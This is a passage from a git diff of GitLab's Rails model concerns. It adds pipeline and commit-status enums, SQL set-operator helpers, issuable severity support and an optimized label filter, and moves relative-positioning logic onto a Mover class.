+ after_update :send_admin_changed_your_password_notification, if: :send_admin_changed_your_password_notification?
+ end
+
+ def initialize(*args, &block)
+ @allow_admin_changed_your_password_notification = false # These emails are off by default
+ super
+ end
+
+ def send_only_admin_changed_your_password_notification!
+ skip_password_change_notification! # skip sending the default Devise 'password changed' notification
+ allow_admin_changed_your_password_notification!
+ end
+
+ private
+
+ def send_admin_changed_your_password_notification
+ send_devise_notification(:password_change_by_admin)
+ end
+
+ def allow_admin_changed_your_password_notification!
+ @allow_admin_changed_your_password_notification = true # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
+
+ def send_admin_changed_your_password_notification?
+ self.class.send_password_change_notification && saved_change_to_encrypted_password? &&
+ @allow_admin_changed_your_password_notification # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
+end
diff --git a/app/models/concerns/bulk_member_access_load.rb b/app/models/concerns/bulk_member_access_load.rb
index 041ed3755e0..f44ad474cd5 100644
--- a/app/models/concerns/bulk_member_access_load.rb
+++ b/app/models/concerns/bulk_member_access_load.rb
@@ -22,7 +22,7 @@ module BulkMemberAccessLoad
end
# Look up only the IDs we need
- resource_ids = resource_ids - access.keys
+ resource_ids -= access.keys
return access if resource_ids.empty?
diff --git a/app/models/concerns/checksummable.rb b/app/models/concerns/checksummable.rb
index 1f76eb87aa5..d6d17bfc604 100644
--- a/app/models/concerns/checksummable.rb
+++ b/app/models/concerns/checksummable.rb
@@ -3,9 +3,13 @@
module Checksummable
extend ActiveSupport::Concern
+ def crc32(data)
+ Zlib.crc32(data)
+ end
+
class_methods do
def hexdigest(path)
- Digest::SHA256.file(path).hexdigest
+ ::Digest::SHA256.file(path).hexdigest
end
end
end
diff --git a/app/models/concerns/ci/artifactable.rb b/app/models/concerns/ci/artifactable.rb
index 54fb9021f2f..24df86dbc3c 100644
--- a/app/models/concerns/ci/artifactable.rb
+++ b/app/models/concerns/ci/artifactable.rb
@@ -4,6 +4,8 @@ module Ci
module Artifactable
extend ActiveSupport::Concern
+ NotSupportedAdapterError = Class.new(StandardError)
+
FILE_FORMAT_ADAPTERS = {
gzip: Gitlab::Ci::Build::Artifacts::Adapters::GzipStream,
raw: Gitlab::Ci::Build::Artifacts::Adapters::RawStream
@@ -15,6 +17,24 @@ module Ci
zip: 2,
gzip: 3
}, _suffix: true
+
+ scope :expired, -> (limit) { where('expire_at < ?', Time.current).limit(limit) }
+ end
+
+ def each_blob(&blk)
+ unless file_format_adapter_class
+ raise NotSupportedAdapterError, 'This file format requires a dedicated adapter'
+ end
+
+ file.open do |stream|
+ file_format_adapter_class.new(stream).each_blob(&blk)
+ end
+ end
+
+ private
+
+ def file_format_adapter_class
+ FILE_FORMAT_ADAPTERS[file_format.to_sym]
end
end
end
diff --git a/app/models/concerns/discussion_on_diff.rb b/app/models/concerns/discussion_on_diff.rb
index 8542c48f366..40891073738 100644
--- a/app/models/concerns/discussion_on_diff.rb
+++ b/app/models/concerns/discussion_on_diff.rb
@@ -13,14 +13,12 @@ module DiscussionOnDiff
:diff_line,
:active?,
:created_at_diff?,
-
to: :first_note
delegate :file_path,
:blob,
:highlighted_diff_lines,
:diff_lines,
-
to: :diff_file,
allow_nil: true
end
diff --git a/app/models/concerns/enums/ci/pipeline.rb b/app/models/concerns/enums/ci/pipeline.rb
new file mode 100644
index 00000000000..f1bc43a12d8
--- /dev/null
+++ b/app/models/concerns/enums/ci/pipeline.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module Enums
+ module Ci
+ module Pipeline
+ # Returns the `Hash` to use for creating the `failure_reason` enum for
+ # `Ci::Pipeline`.
+ def self.failure_reasons
+ {
+ unknown_failure: 0,
+ config_error: 1,
+ external_validation_failure: 2
+ }
+ end
+
+ # Returns the `Hash` to use for creating the `sources` enum for
+ # `Ci::Pipeline`.
+ def self.sources
+ {
+ unknown: nil,
+ push: 1,
+ web: 2,
+ trigger: 3,
+ schedule: 4,
+ api: 5,
+ external: 6,
+ # TODO: Rename `pipeline` to `cross_project_pipeline` in 13.0
+ # https://gitlab.com/gitlab-org/gitlab/issues/195991
+ pipeline: 7,
+ chat: 8,
+ webide: 9,
+ merge_request_event: 10,
+ external_pull_request_event: 11,
+ parent_pipeline: 12,
+ ondemand_dast_scan: 13
+ }
+ end
+
+ # Dangling sources are those events that generate pipelines for which
+ # we don't want to directly affect the ref CI status.
+ # - when a webide pipeline fails it does not change the ref CI status to failed
+ # - when a child pipeline (from parent_pipeline source) fails it affects its
+ # parent pipeline. It's up to the parent to affect the ref CI status
+ # - when an ondemand_dast_scan pipeline runs it is for testing purpose and should
+ # not affect the ref CI status.
+ def self.dangling_sources
+ sources.slice(:webide, :parent_pipeline, :ondemand_dast_scan)
+ end
+
+ # CI sources are those pipeline events that affect the CI status of the ref
+ # they run for. By definition it excludes dangling pipelines.
+ def self.ci_sources
+ sources.except(*dangling_sources.keys)
+ end
+
+ # Returns the `Hash` to use for creating the `config_sources` enum for
+ # `Ci::Pipeline`.
+ def self.config_sources
+ {
+ unknown_source: nil,
+ repository_source: 1,
+ auto_devops_source: 2,
+ webide_source: 3,
+ remote_source: 4,
+ external_project_source: 5,
+ bridge_source: 6,
+ parameter_source: 7
+ }
+ end
+ end
+ end
+end
+
+Enums::Ci::Pipeline.prepend_if_ee('EE::Enums::Ci::Pipeline')
diff --git a/app/models/concerns/enums/commit_status.rb b/app/models/concerns/enums/commit_status.rb
new file mode 100644
index 00000000000..faeed7276ab
--- /dev/null
+++ b/app/models/concerns/enums/commit_status.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Enums
+ module CommitStatus
+ # Returns the Hash to use for creating the `failure_reason` enum for
+ # `CommitStatus`.
+ def self.failure_reasons
+ {
+ unknown_failure: nil,
+ script_failure: 1,
+ api_failure: 2,
+ stuck_or_timeout_failure: 3,
+ runner_system_failure: 4,
+ missing_dependency_failure: 5,
+ runner_unsupported: 6,
+ stale_schedule: 7,
+ job_execution_timeout: 8,
+ archived_failure: 9,
+ unmet_prerequisites: 10,
+ scheduler_failure: 11,
+ data_integrity_failure: 12,
+ forward_deployment_failure: 13,
+ insufficient_bridge_permissions: 1_001,
+ downstream_bridge_project_not_found: 1_002,
+ invalid_bridge_trigger: 1_003,
+ bridge_pipeline_is_child_pipeline: 1_006, # not used anymore, but cannot be deleted because of old data
+ downstream_pipeline_creation_failed: 1_007,
+ secrets_provider_not_found: 1_008,
+ reached_max_descendant_pipelines_depth: 1_009
+ }
+ end
+ end
+end
+
+Enums::CommitStatus.prepend_if_ee('EE::Enums::CommitStatus')
diff --git a/app/models/concerns/enums/internal_id.rb b/app/models/concerns/enums/internal_id.rb
new file mode 100644
index 00000000000..2d51d232e93
--- /dev/null
+++ b/app/models/concerns/enums/internal_id.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Enums
+ module InternalId
+ def self.usage_resources
+ # when adding new resource, make sure it doesn't conflict with EE usage_resources
+ {
+ issues: 0,
+ merge_requests: 1,
+ deployments: 2,
+ milestones: 3,
+ epics: 4,
+ ci_pipelines: 5,
+ operations_feature_flags: 6,
+ operations_user_lists: 7,
+ alert_management_alerts: 8,
+ sprints: 9 # iterations
+ }
+ end
+ end
+end
+
+Enums::InternalId.prepend_if_ee('EE::Enums::InternalId')
diff --git a/app/models/concerns/enums/prometheus_metric.rb b/app/models/concerns/enums/prometheus_metric.rb
new file mode 100644
index 00000000000..e65a01990a3
--- /dev/null
+++ b/app/models/concerns/enums/prometheus_metric.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+module Enums
+ module PrometheusMetric
+ def self.groups
+ {
+ # built-in groups
+ nginx_ingress_vts: -1,
+ ha_proxy: -2,
+ aws_elb: -3,
+ nginx: -4,
+ kubernetes: -5,
+ nginx_ingress: -6,
+ cluster_health: -100
+ }.merge(custom_groups).freeze
+ end
+
+ # custom/user groups
+ def self.custom_groups
+ {
+ business: 0,
+ response: 1,
+ system: 2,
+ custom: 3
+ }.freeze
+ end
+
+ def self.group_details
+ {
+ # built-in groups
+ nginx_ingress_vts: {
+ group_title: _('Response metrics (NGINX Ingress VTS)'),
+ required_metrics: %w(nginx_upstream_responses_total nginx_upstream_response_msecs_avg),
+ priority: 10
+ }.freeze,
+ nginx_ingress: {
+ group_title: _('Response metrics (NGINX Ingress)'),
+ required_metrics: %w(nginx_ingress_controller_requests nginx_ingress_controller_ingress_upstream_latency_seconds_sum),
+ priority: 10
+ }.freeze,
+ ha_proxy: {
+ group_title: _('Response metrics (HA Proxy)'),
+ required_metrics: %w(haproxy_frontend_http_requests_total haproxy_frontend_http_responses_total),
+ priority: 10
+ }.freeze,
+ aws_elb: {
+ group_title: _('Response metrics (AWS ELB)'),
+ required_metrics: %w(aws_elb_request_count_sum aws_elb_latency_average aws_elb_httpcode_backend_5_xx_sum),
+ priority: 10
+ }.freeze,
+ nginx: {
+ group_title: _('Response metrics (NGINX)'),
+ required_metrics: %w(nginx_server_requests nginx_server_requestMsec),
+ priority: 10
+ }.freeze,
+ kubernetes: {
+ group_title: _('System metrics (Kubernetes)'),
+ required_metrics: %w(container_memory_usage_bytes container_cpu_usage_seconds_total),
+ priority: 5
+ }.freeze,
+ cluster_health: {
+ group_title: _('Cluster Health'),
+ required_metrics: %w(container_memory_usage_bytes container_cpu_usage_seconds_total),
+ priority: 10
+ }.freeze
+ }.merge(custom_group_details).freeze
+ end
+
+ # custom/user groups
+ def self.custom_group_details
+ {
+ business: {
+ group_title: _('Business metrics (Custom)'),
+ priority: 0
+ }.freeze,
+ response: {
+ group_title: _('Response metrics (Custom)'),
+ priority: -5
+ }.freeze,
+ system: {
+ group_title: _('System metrics (Custom)'),
+ priority: -10
+ }.freeze,
+ custom: {
+ group_title: _('Custom metrics'),
+ priority: 0
+ }
+ }.freeze
+ end
+ end
+end
diff --git a/app/models/concerns/from_except.rb b/app/models/concerns/from_except.rb
new file mode 100644
index 00000000000..b9ca9dda4b0
--- /dev/null
+++ b/app/models/concerns/from_except.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module FromExcept
+ extend ActiveSupport::Concern
+
+ class_methods do
+ # Produces a query that uses a FROM to select data using an EXCEPT.
+ #
+ # Example:
+ # groups = Group.from_except([group1.self_and_hierarchy, group2.self_and_hierarchy])
+ #
+ # This would produce the following SQL query:
+ #
+ # SELECT *
+ # FROM (
+ # SELECT "namespaces". *
+ # ...
+ #
+ # EXCEPT
+ #
+ # SELECT "namespaces". *
+ # ...
+ # ) groups;
+ #
+ # members - An Array of ActiveRecord::Relation objects to use in the except.
+ #
+ # remove_duplicates - A boolean indicating if duplicate entries should be
+ # removed. Defaults to true.
+ #
+ # alias_as - The alias to use for the sub query. Defaults to the name of the
+ # table of the current model.
+ # rubocop: disable Gitlab/Except
+ extend FromSetOperator
+ define_set_operator Gitlab::SQL::Except
+ # rubocop: enable Gitlab/Except
+ end
+end
diff --git a/app/models/concerns/from_intersect.rb b/app/models/concerns/from_intersect.rb
new file mode 100644
index 00000000000..428e63eb45e
--- /dev/null
+++ b/app/models/concerns/from_intersect.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module FromIntersect
+ extend ActiveSupport::Concern
+
+ class_methods do
+ # Produces a query that uses a FROM to select data using an INTERSECT.
+ #
+ # Example:
+ # groups = Group.from_intersect([group1.self_and_hierarchy, group2.self_and_hierarchy])
+ #
+ # This would produce the following SQL query:
+ #
+ # SELECT *
+ # FROM (
+ # SELECT "namespaces". *
+ # ...
+ #
+ # INTERSECT
+ #
+ # SELECT "namespaces". *
+ # ...
+ # ) groups;
+ #
+ # members - An Array of ActiveRecord::Relation objects to use in the intersect.
+ #
+ # remove_duplicates - A boolean indicating if duplicate entries should be
+ # removed. Defaults to true.
+ #
+ # alias_as - The alias to use for the sub query. Defaults to the name of the
+ # table of the current model.
+ # rubocop: disable Gitlab/Intersect
+ extend FromSetOperator
+ define_set_operator Gitlab::SQL::Intersect
+ # rubocop: enable Gitlab/Intersect
+ end
+end
diff --git a/app/models/concerns/from_set_operator.rb b/app/models/concerns/from_set_operator.rb
new file mode 100644
index 00000000000..593fd251c5c
--- /dev/null
+++ b/app/models/concerns/from_set_operator.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module FromSetOperator
+ # Define a high level method to more easily work with the SQL set operations
+ # of UNION, INTERSECT, and EXCEPT as defined by Gitlab::SQL::Union,
+ # Gitlab::SQL::Intersect, and Gitlab::SQL::Except respectively.
+ def define_set_operator(operator)
+ method_name = 'from_' + operator.name.demodulize.downcase
+ method_name = method_name.to_sym
+
+ raise "Trying to redefine method '#{method(method_name)}'" if methods.include?(method_name)
+
+ define_method(method_name) do |members, remove_duplicates: true, alias_as: table_name|
+ operator_sql = operator.new(members, remove_duplicates: remove_duplicates).to_sql
+
+ from(Arel.sql("(#{operator_sql}) #{alias_as}"))
+ end
+ end
+end
diff --git a/app/models/concerns/from_union.rb b/app/models/concerns/from_union.rb
index e28dee34815..e25d603b802 100644
--- a/app/models/concerns/from_union.rb
+++ b/app/models/concerns/from_union.rb
@@ -35,13 +35,29 @@ module FromUnion
# alias_as - The alias to use for the sub query. Defaults to the name of the
# table of the current model.
# rubocop: disable Gitlab/Union
+ extend FromSetOperator
+ define_set_operator Gitlab::SQL::Union
+
+ alias_method :from_union_set_operator, :from_union
def from_union(members, remove_duplicates: true, alias_as: table_name)
+ if Feature.enabled?(:sql_set_operators)
+ from_union_set_operator(members, remove_duplicates: remove_duplicates, alias_as: alias_as)
+ else
+ # The original from_union method.
+ standard_from_union(members, remove_duplicates: remove_duplicates, alias_as: alias_as)
+ end
+ end
+
+ private
+
+ def standard_from_union(members, remove_duplicates: true, alias_as: table_name)
union = Gitlab::SQL::Union
.new(members, remove_duplicates: remove_duplicates)
.to_sql
from(Arel.sql("(#{union}) #{alias_as}"))
end
+
# rubocop: enable Gitlab/Union
end
end
diff --git a/app/models/concerns/has_wiki.rb b/app/models/concerns/has_wiki.rb
index 3e7cb940a62..df7bbe4dc08 100644
--- a/app/models/concerns/has_wiki.rb
+++ b/app/models/concerns/has_wiki.rb
@@ -25,10 +25,6 @@ module HasWiki
wiki.repository_exists?
end
- def after_wiki_activity
- true
- end
-
private
def check_wiki_path_conflict
diff --git a/app/models/concerns/id_in_ordered.rb b/app/models/concerns/id_in_ordered.rb
new file mode 100644
index 00000000000..b89409e6841
--- /dev/null
+++ b/app/models/concerns/id_in_ordered.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module IdInOrdered
+ extend ActiveSupport::Concern
+
+ included do
+ scope :id_in_ordered, -> (ids) do
+ raise ArgumentError, "ids must be an array of integers" unless ids.is_a?(Enumerable) && ids.all? { |id| id.is_a?(Integer) }
+
+ # No need to sort if no more than 1 and the sorting code doesn't work
+ # with an empty array
+ return id_in(ids) unless ids.count > 1
+
+ id_attribute = arel_table[:id]
+ id_in(ids)
+ .order(
+ Arel.sql("array_position(ARRAY[#{ids.join(',')}], #{id_attribute.relation.name}.#{id_attribute.name})"))
+ end
+ end
+end
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index dd5aedbb760..888e1b384a2 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -177,10 +177,41 @@ module Issuable
assignees.count > 1
end
- def supports_weight?
+ def allows_reviewers?
false
end
+ def supports_time_tracking?
+ is_a?(TimeTrackable) && !incident?
+ end
+
+ def supports_severity?
+ incident?
+ end
+
+ def incident?
+ is_a?(Issue) && super
+ end
+
+ def supports_issue_type?
+ is_a?(Issue)
+ end
+
+ def severity
+ return IssuableSeverity::DEFAULT unless incident?
+
+ issuable_severity&.severity || IssuableSeverity::DEFAULT
+ end
+
+ def update_severity(severity)
+ return unless incident?
+
+ severity = severity.to_s.downcase
+ severity = IssuableSeverity::DEFAULT unless IssuableSeverity.severities.key?(severity)
+
+ (issuable_severity || build_issuable_severity(issue_id: id)).update(severity: severity)
+ end
+
private
def description_max_length_for_new_records_is_valid
@@ -377,8 +408,12 @@ module Issuable
Date.today == created_at.to_date
end
+ def created_hours_ago
+ (Time.now.utc.to_i - created_at.utc.to_i) / 3600
+ end
+
def new?
- today? && created_at == updated_at
+ created_hours_ago < 24
end
def open?
diff --git a/app/models/concerns/loaded_in_group_list.rb b/app/models/concerns/loaded_in_group_list.rb
index 79ff82d9f99..e624b9aa356 100644
--- a/app/models/concerns/loaded_in_group_list.rb
+++ b/app/models/concerns/loaded_in_group_list.rb
@@ -54,6 +54,7 @@ module LoadedInGroupList
.where(members[:source_type].eq(Namespace.name))
.where(members[:source_id].eq(namespaces[:id]))
.where(members[:requested_at].eq(nil))
+ .where(members[:access_level].gt(Gitlab::Access::MINIMAL_ACCESS))
end
end
@@ -70,7 +71,7 @@ module LoadedInGroupList
end
def member_count
- @member_count ||= try(:preloaded_member_count) || users.count
+ @member_count ||= try(:preloaded_member_count) || members.count
end
end
diff --git a/app/models/concerns/mentionable/reference_regexes.rb b/app/models/concerns/mentionable/reference_regexes.rb
index f44a674b3c9..307d58a3a3c 100644
--- a/app/models/concerns/mentionable/reference_regexes.rb
+++ b/app/models/concerns/mentionable/reference_regexes.rb
@@ -30,7 +30,7 @@ module Mentionable
def self.external_pattern
strong_memoize(:external_pattern) do
issue_pattern = IssueTrackerService.reference_pattern
- link_patterns = URI.regexp(%w(http https))
+ link_patterns = URI::DEFAULT_PARSER.make_regexp(%w(http https))
reference_pattern(link_patterns, issue_pattern)
end
end
diff --git a/app/models/concerns/milestoneable.rb b/app/models/concerns/milestoneable.rb
index ccb334343ff..b1698bc2ee3 100644
--- a/app/models/concerns/milestoneable.rb
+++ b/app/models/concerns/milestoneable.rb
@@ -51,7 +51,7 @@ module Milestoneable
# Overridden on EE module
#
def supports_milestone?
- respond_to?(:milestone_id)
+ respond_to?(:milestone_id) && !incident?
end
end
diff --git a/app/models/concerns/optimized_issuable_label_filter.rb b/app/models/concerns/optimized_issuable_label_filter.rb
new file mode 100644
index 00000000000..7be4a26d4fa
--- /dev/null
+++ b/app/models/concerns/optimized_issuable_label_filter.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+module OptimizedIssuableLabelFilter
+ def by_label(items)
+ return items unless params.labels?
+
+ return super if Feature.disabled?(:optimized_issuable_label_filter)
+
+ target_model = items.model
+
+ if params.filter_by_no_label?
+ items.where('NOT EXISTS (?)', optimized_any_label_query(target_model))
+ elsif params.filter_by_any_label?
+ items.where('EXISTS (?)', optimized_any_label_query(target_model))
+ else
+ issuables_with_selected_labels(items, target_model)
+ end
+ end
+
+ # Taken from IssuableFinder
+ def count_by_state
+ return super if root_namespace.nil?
+ return super if Feature.disabled?(:optimized_issuable_label_filter)
+
+ count_params = params.merge(state: nil, sort: nil, force_cte: true)
+ finder = self.class.new(current_user, count_params)
+
+ state_counts = finder
+ .execute
+ .reorder(nil)
+ .group(:state_id)
+ .count
+
+ counts = state_counts.transform_keys { |key| count_key(key) }
+
+ counts[:all] = counts.values.sum
+ counts.with_indifferent_access
+ end
+
+ private
+
+ def issuables_with_selected_labels(items, target_model)
+ if root_namespace
+ all_label_ids = find_label_ids(root_namespace)
+ # Found less labels in the DB than we were searching for. Return nothing.
+ return items.none if all_label_ids.size != params.label_names.size
+
+ all_label_ids.each do |label_ids|
+ items = items.where('EXISTS (?)', optimized_label_query_by_label_ids(target_model, label_ids))
+ end
+ else
+ params.label_names.each do |label_name|
+ items = items.where('EXISTS (?)', optimized_label_query_by_label_name(target_model, label_name))
+ end
+ end
+
+ items
+ end
+
+ def find_label_ids(root_namespace)
+ finder_params = {
+ include_subgroups: true,
+ include_ancestor_groups: true,
+ include_descendant_groups: true,
+ group: root_namespace,
+ title: params.label_names
+ }
+
+ LabelsFinder
+ .new(nil, finder_params)
+ .execute(skip_authorization: true)
+ .pluck(:title, :id)
+ .group_by(&:first)
+ .values
+ .map { |labels| labels.map(&:last) }
+ end
+
+ def root_namespace
+ strong_memoize(:root_namespace) do
+ (params.project || params.group)&.root_ancestor
+ end
+ end
+
+ def optimized_any_label_query(target_model)
+ LabelLink
+ .where(target_type: target_model.name)
+ .where(LabelLink.arel_table['target_id'].eq(target_model.arel_table['id']))
+ .limit(1)
+ end
+
+ def optimized_label_query_by_label_ids(target_model, label_ids)
+ LabelLink
+ .where(target_type: target_model.name)
+ .where(LabelLink.arel_table['target_id'].eq(target_model.arel_table['id']))
+ .where(label_id: label_ids)
+ .limit(1)
+ end
+
+ def optimized_label_query_by_label_name(target_model, label_name)
+ LabelLink
+ .joins(:label)
+ .where(target_type: target_model.name)
+ .where(LabelLink.arel_table['target_id'].eq(target_model.arel_table['id']))
+ .where(labels: { name: label_name })
+ .limit(1)
+ end
+end
diff --git a/app/models/concerns/prometheus_adapter.rb b/app/models/concerns/prometheus_adapter.rb
index adb6a59e11c..55c2bf96a94 100644
--- a/app/models/concerns/prometheus_adapter.rb
+++ b/app/models/concerns/prometheus_adapter.rb
@@ -3,6 +3,11 @@
module PrometheusAdapter
extend ActiveSupport::Concern
+ # We should choose more conservative timeouts, but some queries we run are now busting our
+ # default timeouts, which are stricter. We should make those queries faster instead.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/232786
+ DEFAULT_PROMETHEUS_REQUEST_TIMEOUT_SEC = 60.seconds
+
included do
include ReactiveCaching
@@ -15,6 +20,12 @@ module PrometheusAdapter
raise NotImplementedError
end
+ def prometheus_client_default_options
+ {
+ timeout: DEFAULT_PROMETHEUS_REQUEST_TIMEOUT_SEC
+ }
+ end
+
# This is a light-weight check if a prometheus client is properly configured.
def configured?
raise NotImplemented
diff --git a/app/models/concerns/relative_positioning.rb b/app/models/concerns/relative_positioning.rb
index d1f04609693..3cbc174536c 100644
--- a/app/models/concerns/relative_positioning.rb
+++ b/app/models/concerns/relative_positioning.rb
@@ -27,18 +27,7 @@
#
module RelativePositioning
extend ActiveSupport::Concern
-
- STEPS = 10
- IDEAL_DISTANCE = 2**(STEPS - 1) + 1
-
- MIN_POSITION = Gitlab::Database::MIN_INT_VALUE
- START_POSITION = 0
- MAX_POSITION = Gitlab::Database::MAX_INT_VALUE
-
- MAX_GAP = IDEAL_DISTANCE * 2
- MIN_GAP = 2
-
- NoSpaceLeft = Class.new(StandardError)
+ include ::Gitlab::RelativePositioning
class_methods do
def move_nulls_to_end(objects)
@@ -49,56 +38,10 @@ module RelativePositioning
move_nulls(objects, at_end: false)
end
- # This method takes two integer values (positions) and
- # calculates the position between them. The range is huge as
- # the maximum integer value is 2147483647.
- #
- # We avoid open ranges by clamping the range to [MIN_POSITION, MAX_POSITION].
- #
- # Then we handle one of three cases:
- # - If the gap is too small, we raise NoSpaceLeft
- # - If the gap is larger than MAX_GAP, we place the new position at most
- # IDEAL_DISTANCE from the edge of the gap.
- # - otherwise we place the new position at the midpoint.
- #
- # The new position will always satisfy: pos_before <= midpoint <= pos_after
- #
- # As a precondition, the gap between pos_before and pos_after MUST be >= 2.
- # If the gap is too small, NoSpaceLeft is raised.
- #
- # This class method should only be called by instance methods of this module, which
- # include handling for minimum gap size.
- #
- # @raises NoSpaceLeft
- # @api private
- def position_between(pos_before, pos_after)
- pos_before ||= MIN_POSITION
- pos_after ||= MAX_POSITION
-
- pos_before, pos_after = [pos_before, pos_after].sort
-
- gap_width = pos_after - pos_before
- midpoint = [pos_after - 1, pos_before + (gap_width / 2)].min
-
- if gap_width < MIN_GAP
- raise NoSpaceLeft
- elsif gap_width > MAX_GAP
- if pos_before == MIN_POSITION
- pos_after - IDEAL_DISTANCE
- elsif pos_after == MAX_POSITION
- pos_before + IDEAL_DISTANCE
- else
- midpoint
- end
- else
- midpoint
- end
- end
-
private
# @api private
- def gap_size(object, gaps:, at_end:, starting_from:)
+ def gap_size(context, gaps:, at_end:, starting_from:)
total_width = IDEAL_DISTANCE * gaps
size = if at_end && starting_from + total_width >= MAX_POSITION
(MAX_POSITION - starting_from) / gaps
@@ -108,23 +51,17 @@ module RelativePositioning
IDEAL_DISTANCE
end
- # Shift max elements leftwards if there isn't enough space
return [size, starting_from] if size >= MIN_GAP
- order = at_end ? :desc : :asc
- terminus = object
- .send(:relative_siblings) # rubocop:disable GitlabSecurity/PublicSend
- .where('relative_position IS NOT NULL')
- .order(relative_position: order)
- .first
-
if at_end
- terminus.move_sequence_before(true)
- max_relative_position = terminus.reset.relative_position
+ terminus = context.max_sibling
+ terminus.shift_left
+ max_relative_position = terminus.relative_position
[[(MAX_POSITION - max_relative_position) / gaps, IDEAL_DISTANCE].min, max_relative_position]
else
- terminus.move_sequence_after(true)
- min_relative_position = terminus.reset.relative_position
+ terminus = context.min_sibling
+ terminus.shift_right
+ min_relative_position = terminus.relative_position
[[(min_relative_position - MIN_POSITION) / gaps, IDEAL_DISTANCE].min, min_relative_position]
end
end
@@ -142,8 +79,9 @@ module RelativePositioning
objects = objects.reject(&:relative_position)
return 0 if objects.empty?
- representative = objects.first
- number_of_gaps = objects.size + 1 # 1 at left, one between each, and one at right
+ number_of_gaps = objects.size # 1 to the nearest neighbour, and one between each
+ representative = RelativePositioning.mover.context(objects.first)
+
position = if at_end
representative.max_relative_position
else
@@ -152,16 +90,21 @@ module RelativePositioning
position ||= START_POSITION # If there are no positioned siblings, start from START_POSITION
- gap, position = gap_size(representative, gaps: number_of_gaps, at_end: at_end, starting_from: position)
-
- # Raise if we could not make enough space
- raise NoSpaceLeft if gap < MIN_GAP
+ gap = 0
+ attempts = 10 # consolidate up to 10 gaps to find enough space
+ while gap < 1 && attempts > 0
+ gap, position = gap_size(representative, gaps: number_of_gaps, at_end: at_end, starting_from: position)
+ attempts -= 1
+ end
- indexed = objects.each_with_index.to_a
- starting_from = at_end ? position : position - (gap * number_of_gaps)
+ # Allow placing items next to each other, if we have to.
+ gap = 1 if gap < MIN_GAP
+ delta = at_end ? gap : -gap
+ indexed = (at_end ? objects : objects.reverse).each_with_index
# Some classes are polymorphic, and not all siblings are in the same table.
by_model = indexed.group_by { |pair| pair.first.class }
+ lower_bound, upper_bound = at_end ? [position, MAX_POSITION] : [MIN_POSITION, position]
by_model.each do |model, pairs|
model.transaction do
@@ -169,7 +112,8 @@ module RelativePositioning
# These are known to be integers, one from the DB, and the other
# calculated by us, and thus safe to interpolate
values = batch.map do |obj, i|
- pos = starting_from + gap * (i + 1)
+ desired_pos = position + delta * (i + 1)
+ pos = desired_pos.clamp(lower_bound, upper_bound)
obj.relative_position = pos
"(#{obj.id}, #{pos})"
end.join(', ')
@@ -192,306 +136,68 @@ module RelativePositioning
end
end
- def min_relative_position(&block)
- calculate_relative_position('MIN', &block)
- end
-
- def max_relative_position(&block)
- calculate_relative_position('MAX', &block)
- end
-
- def prev_relative_position(ignoring: nil)
- prev_pos = nil
-
- if self.relative_position
- prev_pos = max_relative_position do |relation|
- relation = relation.id_not_in(ignoring.id) if ignoring.present?
- relation.where('relative_position < ?', self.relative_position)
- end
- end
-
- prev_pos
- end
-
- def next_relative_position(ignoring: nil)
- next_pos = nil
-
- if self.relative_position
- next_pos = min_relative_position do |relation|
- relation = relation.id_not_in(ignoring.id) if ignoring.present?
- relation.where('relative_position > ?', self.relative_position)
- end
- end
-
- next_pos
+ def self.mover
+ ::Gitlab::RelativePositioning::Mover.new(START_POSITION, (MIN_POSITION..MAX_POSITION))
end
def move_between(before, after)
- return move_after(before) unless after
- return move_before(after) unless before
-
- before, after = after, before if after.relative_position < before.relative_position
-
- pos_left = before.relative_position
- pos_right = after.relative_position
+ before, after = [before, after].sort_by(&:relative_position) if before && after
- if pos_right - pos_left < MIN_GAP
- # Not enough room! Make space by shifting all previous elements to the left
- # if there is enough space, else to the right
- gap = after.send(:find_next_gap_before) # rubocop:disable GitlabSecurity/PublicSend
-
- if gap.present?
- after.move_sequence_before(next_gap: gap)
- pos_left -= optimum_delta_for_gap(gap)
- else
- before.move_sequence_after
- pos_right = after.reset.relative_position
- end
- end
-
- new_position = self.class.position_between(pos_left, pos_right)
-
- self.relative_position = new_position
+ RelativePositioning.mover.move(self, before, after)
+ rescue ActiveRecord::QueryCanceled, NoSpaceLeft => e
+ could_not_move(e)
+ raise e
end
def move_after(before = self)
- pos_before = before.relative_position
- pos_after = before.next_relative_position(ignoring: self)
-
- if pos_before == MAX_POSITION || gap_too_small?(pos_after, pos_before)
- gap = before.send(:find_next_gap_after) # rubocop:disable GitlabSecurity/PublicSend
-
- if gap.nil?
- before.move_sequence_before(true)
- pos_before = before.reset.relative_position
- else
- before.move_sequence_after(next_gap: gap)
- pos_after += optimum_delta_for_gap(gap)
- end
- end
-
- self.relative_position = self.class.position_between(pos_before, pos_after)
+ RelativePositioning.mover.move(self, before, nil)
+ rescue ActiveRecord::QueryCanceled, NoSpaceLeft => e
+ could_not_move(e)
+ raise e
end
def move_before(after = self)
- pos_after = after.relative_position
- pos_before = after.prev_relative_position(ignoring: self)
-
- if pos_after == MIN_POSITION || gap_too_small?(pos_before, pos_after)
- gap = after.send(:find_next_gap_before) # rubocop:disable GitlabSecurity/PublicSend
-
- if gap.nil?
- after.move_sequence_after(true)
- pos_after = after.reset.relative_position
- else
- after.move_sequence_before(next_gap: gap)
- pos_before -= optimum_delta_for_gap(gap)
- end
- end
-
- self.relative_position = self.class.position_between(pos_before, pos_after)
+ RelativePositioning.mover.move(self, nil, after)
+ rescue ActiveRecord::QueryCanceled, NoSpaceLeft => e
+ could_not_move(e)
+ raise e
end
def move_to_end
- max_pos = max_relative_position
-
- if max_pos.nil?
- self.relative_position = START_POSITION
- elsif gap_too_small?(max_pos, MAX_POSITION)
- max = relative_siblings.order(Gitlab::Database.nulls_last_order('relative_position', 'DESC')).first
- max.move_sequence_before(true)
- max.reset
